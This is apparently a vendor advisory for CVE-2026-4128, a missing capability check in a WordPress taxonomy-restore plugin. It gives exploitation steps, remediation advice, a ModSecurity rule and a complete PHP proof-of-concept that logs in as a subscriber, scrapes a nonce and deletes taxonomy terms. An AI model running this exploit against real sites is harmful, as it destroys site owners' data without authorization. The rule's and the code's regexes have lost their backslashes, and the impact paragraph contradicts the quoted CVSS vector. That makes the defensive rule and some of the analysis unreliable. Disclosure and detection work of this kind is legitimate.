Atomic Edge analysis of CVE-2026-4128 (metadata-based):
Atomic Edge analysis identifies a missing authorization vulnerability in the TP Restore Categories And Taxonomies plugin for WordPress, affecting all versions up to and including 1.0.1. The plugin’s ‘tpmcattt_delete_term’ AJAX action allows authenticated attackers with Subscriber-level access to permanently delete taxonomy terms from the plugin’s trash/backup tables. The vulnerability carries a CVSS v3.1 base score of 4.3 (Medium), with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, indicating low impact but straightforward exploitation.
The root cause is a missing capability check in the delete_term() function that handles the ‘tpmcattt_delete_term’ AJAX action. Based on the CWE-862 classification and the vulnerability description, Atomic Edge infers that the function performs a nonce check via check_ajax_referer() but does not call current_user_can() or any equivalent permission verification. The nonce alone is insufficient because the plugin generates the nonce for all authenticated users through the admin_enqueue_scripts hook, exposing it on wp-admin pages accessible to subscribers (e.g., profile.php). This design flaw means any authenticated user can obtain a valid nonce and subsequently use it to trigger the term deletion. These conclusions are inferred from the CWE and description, as no source code diff is available for confirmation.
Exploitation requires an authenticated WordPress session. The attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘tpmcattt_delete_term’, a valid nonce (obtainable from any wp-admin page), and a term_id parameter specifying the target taxonomy term to delete. The plugin does not restrict which term_id values are acceptable, allowing attackers to delete any term present in the plugin’s trash/backup tables. A crafted AJAX request with these parameters triggers the delete_term() function, which proceeds to delete the term without verifying the user’s capabilities.
Remediation requires implementing a proper capability check within the delete_term() function before processing term deletion. The plugin should call current_user_can() with an appropriate capability such as ‘manage_categories’ or ‘edit_posts’ to ensure only authorized users (e.g., Editors or Administrators) can delete taxonomy terms. Additionally, the nonce should be scoped to actions that match the required permission level, or the nonce generation should be restricted to admin pages that require higher privileges.
Successful exploitation allows authenticated attackers with Subscriber-level access to permanently delete taxonomy terms from the plugin’s backup tables. This results in irreversible data loss for the affected terms, which could include custom taxonomies essential for site categorization and content organization. The impact is limited to data integrity (low confidentiality impact, low availability impact) and does not allow privilege escalation or direct site takeover. However, the data loss can disrupt site functionality if the deleted terms are actively used in content classification.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20264128,phase:2,deny,status:403,chain,msg:'CVE-2026-4128 TP Restore Categories And Taxonomies AJAX term deletion exploitation',severity:'CRITICAL',tag:'CVE-2026-4128'"
SecRule ARGS_POST:action "@streq tpmcattt_delete_term" "chain"
SecRule ARGS_POST:term_id "@rx ^d+$" "t:none,id:20264129,phase:2,deny,status:403,msg:'CVE-2026-4128 term ID parameter detected'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4128 - TP Restore Categories And Taxonomies <= 1.0.1 - Missing Authorization to Authenticated (Subscriber+) Taxonomy Deletion via 'tpmcattt_delete_term' AJAX Action
// CONFIGURATION: Set your target WordPress site URL and credentials
$target_url = 'https://example.com'; // Replace with the target WordPress site URL
$username = 'subscriber'; // Replace with a valid subscriber username
$password = 'password'; // Replace with the subscriber's password
// Step 1: Authenticate and obtain cookies and nonce
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/profile.php'; // Subscriber-accessible page where nonce is exposed
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Extract the nonce from profile.php (subscriber can access this page)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
// Step 3: Extract nonce from the response.
// The nonce is likely stored in a JavaScript variable or hidden input.
// For this PoC, we search for the 'tpmcattt_delete_term' action nonce.
preg_match('/"_wpnonce"[^>]+value="([^"]+)"/', $response, $matches);
if (empty($matches)) {
// Alternate: look for a script that defines the nonce
preg_match('/nonces*[:=]s*"([^"]+)"/', $response, $matches);
}
$nonce = isset($matches[1]) ? $matches[1] : '';
if (empty($nonce)) {
die("Error: Could not extract nonce from profile.php. The plugin may not expose it there or the page structure differs.n");
}
// Step 4: Send the AJAX request to delete a taxonomy term (term_id = 1 as example)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$term_id = '1'; // Replace with the target term ID to delete
$post_data = array(
'action' => 'tpmcattt_delete_term',
'_wpnonce' => $nonce,
'term_id' => $term_id
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
echo "Response from server:n";
echo $response . "n";
// Clean up cookie file
unlink('/tmp/cookies.txt');
?>
